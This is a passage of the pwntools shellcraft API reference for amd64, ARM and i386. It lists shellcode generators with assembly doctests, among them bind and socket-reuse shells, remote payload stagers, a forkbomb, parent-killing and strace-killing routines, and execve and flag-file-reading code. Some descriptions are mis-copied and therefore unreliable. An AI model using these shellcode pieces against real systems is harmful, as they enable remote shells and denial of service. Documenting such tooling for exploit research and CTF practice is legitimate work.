push 0x1010101 ^ 0xc3
xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('\xc3', append_null = False).rstrip()
/* push '\xc3' */
push -0x3d
>>> with context.local():
...     context.arch = 'amd64'
...     print ehhex(asm(shellcraft.pushstr("/bin/sh")))
48b801010101010101015048b82e63686f2e72690148310424
>>> with context.local():
...     context.arch = 'amd64'
...     print ehhex(asm(shellcraft.pushstr("")))
6a01fe0c24
>>> with context.local():
...     context.arch = 'amd64'
...     print ehhex(asm(shellcraft.pushstr("\x00", False)))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

`pwnlib.shellcraft.amd64.pushstr_array` (*reg, array*)
 Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.amd64.ret` (*return_value=None*)
 A single-byte RET instruction.

Parameters **return_value** – Value to return

`pwnlib.shellcraft.amd64.setregs` (*reg_context, stack_allowed=True*)
 Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip()
mov rbx, rax
push 1
pop rax
>>> print shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip()
mov rbx, rax
push SYS_write /* 1 */
pop rax
>>> print shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip()
mov rcx, rbx
xchg rax, rbx
>>> print shellcraft.setregs({'rax':1, 'rdx':0}).rstrip()
push 1
pop rax
cdq /* rdx=0 */
```

`pwnlib.shellcraft.amd64.strcpy` (*dst, src*)
 Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

`pwntools.shellcraft.amd64.strlen` (*string*, *reg*='rcx')

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, rcx is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

`pwntools.shellcraft.amd64.trap` ()

A trap instruction.

`pwntools.shellcraft.amd64.xor` (*key*, *address*, *count*)

XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwntools.shellcraft.amd64.linux`

Shellcraft module containing Intel x86_64 shellcodes for Linux.

`pwnlib.shellcraft.amd64.linux.bindsh` (*port, network*)
 Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.amd64.linux.cat` (*filename, fd=1*)
 Opens a file and writes its contents to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.connect` (*host, port, network='ipv4'*)
 Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in `rbp`.

`pwnlib.shellcraft.amd64.linux.connectstager` (*host, port, network='ipv4'*)
 connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.amd64.linux.dup` (*sock='rbp'*)
 Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.amd64.linux.dupsh` (*sock='rbp'*)
 Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.amd64.linux.echo` (*string, sock='1'*)
 Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.egghunter` (*egg, start_address = 0*)
 Searches memory for the byte sequence 'egg'.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **egg** (*str, int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

`pwnlib.shellcraft.amd64.linux.findpeer` (*port=None*)
 Args: port (defaults to any) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

`pwnlib.shellcraft.amd64.linux.findpeersh` (*port=None*)
 Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.amd64.linux.findpeerstager` (*port=None*)
 Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.amd64.linux.forkbomb` ()
 Performs a forkbomb attack.

`pwnlib.shellcraft.amd64.linux.forkexit` ()
 Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.amd64.linux.getpid` ()
 Retrieve the current PID

`pwnlib.shellcraft.amd64.linux.kill` (*pid, signal='SIGKILL'*)
 Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.killparent` ()
 Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.amd64.linux.listen` (*port, network*)
 Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.amd64.linux.loader` (*address*)
 Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.amd64.linux.loader_append` (*data=None*)
 Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters `data` (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> gcc = process(['gcc', '-m64', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-
↳'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> run_assembly(sc).recvline() == 'Hello, amd64!\n' # True
```

`pwnlib.shellcraft.amd64.linux.membot` (*readsock=0, writesock=1*)
 Read-write access to a remote process' memory.

Provide a single pointer-width value to determine the operation to perform:

- 0: Exit the loop
- 1: Read data
- 2: Write data

`pwnlib.shellcraft.amd64.linux.migrate_stack` (*size=1048576, fd=0*)
 Migrates to a new stack.

`pwnlib.shellcraft.amd64.linux.mmap_rwx` (*size=4096, protection=7, address=None*)
 Maps some memory

`pwnlib.shellcraft.amd64.linux.read` (*fd=0, buffer='rsp', count=8*)
 Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

`pwnlib.shellcraft.amd64.linux.read_upto` (*fd=0, buffer='rsp', sizereg='rdx'*)
 Reads up to N bytes 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.readfile` (*path, dst='rdi'*)
 Args: [*path, dst (imm/reg) = rdi*] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.amd64.linux.readinto` (*sock=0*)
 Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.readloop(sock=0)`

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.readn(fd, buf, nbytes)`

Reads exactly `nbytes` bytes from file descriptor `fd` into the buffer `buf`.

Parameters

- `fd(int)` – `fd`
- `buf(void)` – `buf`
- `nbytes(size_t)` – `nbytes`

`pwnlib.shellcraft.amd64.linux.readptr(fd=0, target_reg='rdx')`

Reads 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.recvsize(sock, reg='rcx')`

Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param `sock`, the socket to read the payload from.: :param `reg`, the place to put the size: :type `reg`, the place to put the size: default `ecx`

Leaves socket in `ebx`

`pwnlib.shellcraft.amd64.linux.setregid(gid='egid')`

Args: [`gid(imm/reg) = egid`] Sets the real and effective group id.

`pwnlib.shellcraft.amd64.linux.setreuid(uid='euid')`

Args: [`uid(imm/reg) = euid`] Sets the real and effective user id.

`pwnlib.shellcraft.amd64.linux.sh()`

Execute a different process.

```
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.socket(network='ipv4', proto='tcp')`

Creates a new socket

`pwnlib.shellcraft.amd64.linux.stage(fd=0, length=None)`

Migrates shellcode to a new buffer.

Parameters

- `fd(int)` – Integer file descriptor to `recv` data from. Default is `stdin(0)`.
- `length(int)` – Optional buffer length. If `None`, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.amd64.linux.stager` (*sock, size, handle_error=False*)

Recives a fixed sized payload into a mmaped buffer Useful in conjunction with findpeer. After running the socket will be left in RDI. :param sock, the socket to read the payload from.: :param size, the size of the payload:

`pwnlib.shellcraft.amd64.linux.strace_dos` ()

Kills strace

`pwnlib.shellcraft.amd64.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).
↳rstrip()
/* call execve(1, 'rsp', 2, 0) */
xor r10d, r10d /* 0 */
push SYS_execve /* 0x3b */
pop rax
push 1
pop rdi
push 2
pop rdx
mov rsi, rsp
syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).
↳rstrip()
/* call execve(2, 1, 0, -1) */
push -1
pop r10
push SYS_execve /* 0x3b */
pop rax
push 2
pop rdi
push 1
pop rsi
cdq /* rdx=0 */
syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall().rstrip()
/* call syscall() */
syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip()
/* call syscall('rax', 'rdi', 'rsi') */
/* setregs noop */
syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip()
/* call syscall('rbp', ?, ?, 1) */
mov rax, rbp
push 1
pop rdx
syscall
>>> print pwnlib.shellcraft.amd64.linux.syscall(
...     'SYS_mmap', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
```

(continues on next page)

(continued from previous page)

```

...         'MAP_PRIVATE | MAP_ANONYMOUS',
...         -1, 0).rstrip()
/* call mmap(0, 4096, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
↳MAP_ANONYMOUS', -1, 0) */
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop r10
push -1
pop r8
xor r9d, r9d /* 0 */
push SYS_mmap /* 9 */
pop rax
xor edi, edi /* 0 */
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rdx
mov esi, 0x1010101 /* 4096 == 0x1000 */
xor esi, 0x1011101
syscall
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push '/home/pwn/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f6e
xor [rsp], rax
mov rax, 0x77702f656d6f682f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall

```

`pwnlib.shellcraft.amd64.linux.writeloop(readsock=0, writesock=1)`

Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.arm` — Shellcode for ARM

`pwnlib.shellcraft.arm`

Shellcraft module containing generic ARM little endian shellcodes.

`pwnlib.shellcraft.arm.crash()`

Crash.

Example

```

>>> run_assembly(shellcraft.crash()).poll(True)
-11

```

`pwnlib.shellcraft.arm.infloop()`

An infinite loop.

`pwnlib.shellcraft.arm.itoa(v, buffer='sp', allocate_stack=True)`

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

`pwnlib.shellcraft.arm.memcpy(dest, src, n)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.arm.mov(dst, src)`

Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If src is a string that is not a register, then it will locally set `context.arch` to `'arm'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Examples

```
>>> print shellcraft.arm.mov('r0', 'r1').rstrip()
mov r0, r1
>>> print shellcraft.arm.mov('r0', 5).rstrip()
mov r0, #5
>>> print shellcraft.arm.mov('r0', 0x34532).rstrip()
movw r0, #0x34532 & 0xffff
movt r0, #0x34532 >> 16
>>> print shellcraft.arm.mov('r0', 0x101).rstrip()
movw r0, #0x101
>>> print shellcraft.arm.mov('r0', 0xff << 14).rstrip()
mov r0, #0x3fc000
>>> print shellcraft.arm.mov('r0', 0xff << 15).rstrip()
movw r0, #0x7f8000 & 0xffff
movt r0, #0x7f8000 >> 16
>>> print shellcraft.arm.mov('r0', 0xf00d0000).rstrip()
eor r0, r0
movt r0, #0xf00d0000 >> 16
>>> print shellcraft.arm.mov('r0', 0xffff00ff).rstrip()
```

(continues on next page)

(continued from previous page)

```

mvn r0, #(0xffff00ff ^ (-1))
>>> print shellcraft.arm.mov('r0', 0xffffffff).rstrip()
mvn r0, #(0xffffffff ^ (-1))

```

Parameters

- **dest** (*str*) – ke destination register.
- **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.arm.nop()`

A nop instruction.

`pwnlib.shellcraft.arm.push(word, register='r12')`

Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.

r12 is defined as the inter-procedural scatch register (\$ip), so this should not interfere with most usage.

Parameters

- **word** (*int*, *str*) – The word to push
- **tmpreg** (*str*) – Register to use as a temporary register. R7 is used by default.

`pwnlib.shellcraft.arm.pushstr(string, append_null=True, register='r7')`

Pushes a string onto the stack.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```

>>> print shellcraft.arm.pushstr("Hello!").rstrip()
/* push 'Hello!\x00A' */
movw r7, #0x4100216f & 0xffff
movt r7, #0x4100216f >> 16
push {r7}
movw r7, #0x6c6c6548 & 0xffff
movt r7, #0x6c6c6548 >> 16
push {r7}

```

`pwnlib.shellcraft.arm.pushstr_array(reg, array)`

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str*, *list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.arm.ret(return_value=None)`

A single-byte RET instruction.

Parameters `return_value` – Value to return

Examples

```
>>> with context.local(arch='arm'):
...     print enhex(asm(shellcraft.ret()))
...     print enhex(asm(shellcraft.ret(0)))
...     print enhex(asm(shellcraft.ret(0xdeadbeef)))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1
```

`pwnlib.shellcraft.arm.setregs` (*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
mov r0, #1
mov r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
mov r2, r3
eor r0, r0, r1 /* xchg r0, r1 */
eor r1, r0, r1
eor r0, r0, r1
```

`pwnlib.shellcraft.arm.to_thumb` (*reg=None*, *avoid=[]*)

Go from ARM to THUMB mode.

`pwnlib.shellcraft.arm.trap` ()

A trap instruction.

`pwnlib.shellcraft.arm.udiv_10` (*N*)

Divides `r0` by 10. Result is stored in `r0`, `N` and `Z` flags are updated.

Code is from generated from here: <https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py>

With code: `python magic.py 10 code_for_unsigned`

`pwnlib.shellcraft.arm.xor` (*key*, *address*, *count*)

XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. `0xdead0000`, `'rsp'`)
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwnlib.shellcraft.arm.linux`

Shellcraft module containing ARM shellcodes for Linux.

`pwnlib.shellcraft.arm.linux.cacheflush()`

Invokes the cache-flush operation, without using any NULL or newline bytes.

Effectively is just:

```
mov r0, #0
mov r1, #-1
mov r2, #0
swi 0x9F0002
```

How this works:

... However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifying code, the argument will be read correctly.

`pwnlib.shellcraft.arm.linux.cat(filename, fd=1)`

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
'FLAG\n'
```

`pwnlib.shellcraft.arm.linux.connect(host, port, network='ipv4')`

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.arm.linux.dir(in_fd='r6', size=2048, allocate_stack=True)`

Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.
- **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

You can optionally shave a few bytes not allocating the stack space.

The size read is left in `eax`.

`pwnlib.shellcraft.arm.linux.echo` (*string, sock='I'*)
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

`pwnlib.shellcraft.arm.linux.egghunter` (*egg, start_address = 0, double_check = True*)
Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if `double_check` is `True`. When the egg has been found the `egghunter` branches to the address following it. If `start_address` has been specified search will start on the first address of the page that contains that address.

`pwnlib.shellcraft.arm.linux.forkbomb` ()
Performs a forkbomb attack.

`pwnlib.shellcraft.arm.linux.forkexit` ()
Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.arm.linux.killparent` ()
Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwnlib.shellcraft.arm.linux.open_file` (*filepath, flags='O_RDONLY', mode=420*)
Opens a file. Leaves the file descriptor in `r0`.

Parameters

- **filepath** (*str*) – The file to open.
- **flags** (*int/str*) – The flags to call open with.
- **mode** (*int/str*) – The attribute to create the flag. Only matters if `flags` & `O_CREAT` is set.

`pwnlib.shellcraft.arm.linux.sh` ()
Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.arm.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3 /* 0 (#0) */
```

(continues on next page)

(continued from previous page)

```

mov r7, #0xb
svc 0
>>> print shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip()
/* call exit(0) */
eor r0, r0 /* 0 (#0) */
mov r7, #SYS_exit /* 1 */
svc 0
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push '/home/pwn/flag\x00A' */
movw r7, #0x41006761 & 0xffff
movt r7, #0x41006761 >> 16
push {r7}
movw r7, #0x6c662f6e & 0xffff
movt r7, #0x6c662f6e >> 16
push {r7}
movw r7, #0x77702f65 & 0xffff
movt r7, #0x77702f65 >> 16
push {r7}
movw r7, #0x6d6f682f & 0xffff
movt r7, #0x6d6f682f >> 16
push {r7}
mov r0, sp
eor r1, r1 /* 0 (#0) */
eor r2, r2 /* 0 (#0) */
/* call open() */
mov r7, #SYS_open /* 5 */
svc 0

```

pwnlib.shellcraft.common — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

`pwnlib.shellcraft.common.label` (*prefix='label'*)

Returns a new unique label with a given prefix.

Parameters `prefix` (*str*) – The string to prefix the label with

pwnlib.shellcraft.i386 — Shellcode for Intel 80386

pwnlib.shellcraft.i386

Shellcraft module containing generic Intel i386 shellcodes.

`pwnlib.shellcraft.i386.breakpoint` ()

A single-byte breakpoint instruction.

`pwnlib.shellcraft.i386.crash` ()

Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.i386.epilog` (*nargs=0*)

Function epilogue.

Parameters `nargs` (*int*) – Number of arguments to pop off the stack.

`pwnlib.shellcraft.i386.function` (*name, template_function, *registers*)

Converts a shellcraft template into a callable function.

Parameters

- **template_sz** (*callable*) – Rendered shellcode template. Any variable Arguments should be supplied as registers.
- **name** (*str*) – Name of the function.
- **registers** (*list*) – List of registers which should be filled from the stack.

```
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )

>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()
>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()
>>> shellcode = ''
...     push STDOUT_FILENO
...     call hello
...     push 33
...     call exit
... hello:
...     %(hello_fn)s
... exit:
...     %(exit_fn)s
... '' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the `pushstr`

`pwnlib.shellcraft.i386.getpc` (*register='ecx'*)

Retrieves the value of EIP, stores it in the desired register.

Parameters `return_value` – Value to return

`pwnlib.shellcraft.i386.infloop` ()

A two-byte infinite loop.

`pwnlib.shellcraft.i386.itoa` (*v*, *buffer='esp'*, *allocate_stack=True*)
 Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

`pwnlib.shellcraft.i386.memcpy` (*dest*, *src*, *n*)
 Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.i386.mov` (*dest*, *src*, *stack_allowed=True*)
 Move *src* into *dest* without newlines and null bytes.

If the *src* is a register smaller than the *dest*, then it will be zero-extended to fit inside the larger register.

If the *src* is a register larger than the *dest*, then only some of the bits will be used.

If *src* is a string that is not a register, then it will locally set `context.arch` to `'i386'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.i386.mov('eax', 'ebx').rstrip()
mov eax, ebx
>>> print shellcraft.i386.mov('eax', 0).rstrip()
xor eax, eax
>>> print shellcraft.i386.mov('ax', 0).rstrip()
xor ax, ax
>>> print shellcraft.i386.mov('ax', 17).rstrip()
xor ax, ax
mov al, 0x11
>>> print shellcraft.i386.mov('edi', ord('\n')).rstrip()
```

(continues on next page)

(continued from previous page)

```

push 9 /* mov edi, '\n' */
pop edi
inc edi
>>> print shellcraft.i386.mov('al', 'ax').rstrip()
/* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('al', 'ax').rstrip()
/* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('esp', 'esp').rstrip()
/* moving esp into esp, but this is a no-op */
>>> print shellcraft.i386.mov('ax', 'bl').rstrip()
movzx ax, bl
>>> print shellcraft.i386.mov('eax', 1).rstrip()
push 1
pop eax
>>> print shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip()
xor eax, eax
mov al, 1
>>> print shellcraft.i386.mov('eax', 0xdead00ff).rstrip()
mov eax, -0xdead00ff
neg eax
>>> print shellcraft.i386.mov('eax', 0xc0).rstrip()
xor eax, eax
mov al, 0xc0
>>> print shellcraft.i386.mov('edi', 0xc0).rstrip()
mov edi, -0xc0
neg edi
>>> print shellcraft.i386.mov('eax', 0xc000).rstrip()
xor eax, eax
mov ah, 0xc000 >> 8
>>> print shellcraft.i386.mov('eax', 0xffc000).rstrip()
mov eax, 0x1010101
xor eax, 0x1010101 ^ 0xffc000
>>> print shellcraft.i386.mov('edi', 0xc000).rstrip()
mov edi, (-1) ^ 0xc000
not edi
>>> print shellcraft.i386.mov('edi', 0xf500).rstrip()
mov edi, 0x1010101
xor edi, 0x1010101 ^ 0xf500
>>> print shellcraft.i386.mov('eax', 0xc0c0).rstrip()
xor eax, eax
mov ax, 0xc0c0
>>> print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
push SYS_execve /* 0xb */
pop eax
>>> with context.local(os='freebsd'):
...     print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
        push SYS_execve /* 0x3b */
        pop eax
>>> print shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↳rstrip()
        push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
        pop eax

```

`pwnlib.shellcraft.i386.nop()`
 A single-byte nop instruction.

`pwnlib.shellcraft.i386.prolog()`

Function prologue.

`pwntools.shellcraft.i386.push(value)`

Pushes a value onto the stack without using null bytes or newline characters.

If `src` is a string, then we try to evaluate with `context.arch = 'i386'` using `pwntools.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int*, *str*) – The value or register to push

Example

```
>>> print pwntools.shellcraft.i386.push(0).rstrip()
/* push 0 */
push 1
dec byte ptr [esp]
>>> print pwntools.shellcraft.i386.push(1).rstrip()
/* push 1 */
push 1
>>> print pwntools.shellcraft.i386.push(256).rstrip()
/* push 0x100 */
push 0x1010201
xor dword ptr [esp], 0x1010301
>>> print pwntools.shellcraft.i386.push('SYS_execve').rstrip()
/* push SYS_execve (0xb) */
push 0xb
>>> print pwntools.shellcraft.i386.push('SYS_sendfile').rstrip()
/* push SYS_sendfile (0xbb) */
push 0x1010101
xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
...     print pwntools.shellcraft.i386.push('SYS_execve').rstrip()
/* push SYS_execve (0x3b) */
push 0x3b
```

`pwntools.shellcraft.i386.pushstr(string, append_null=True)`

Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.i386.pushstr('').rstrip()
/* push '\x00' */
push 1
dec byte ptr [esp]
>>> print shellcraft.i386.pushstr('a').rstrip()
/* push 'a\x00' */
push 0x61
>>> print shellcraft.i386.pushstr('aa').rstrip()
/* push 'aa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1010606
>>> print shellcraft.i386.pushstr('aaa').rstrip()
/* push 'aaa\x00' */
push 0x1010101
```

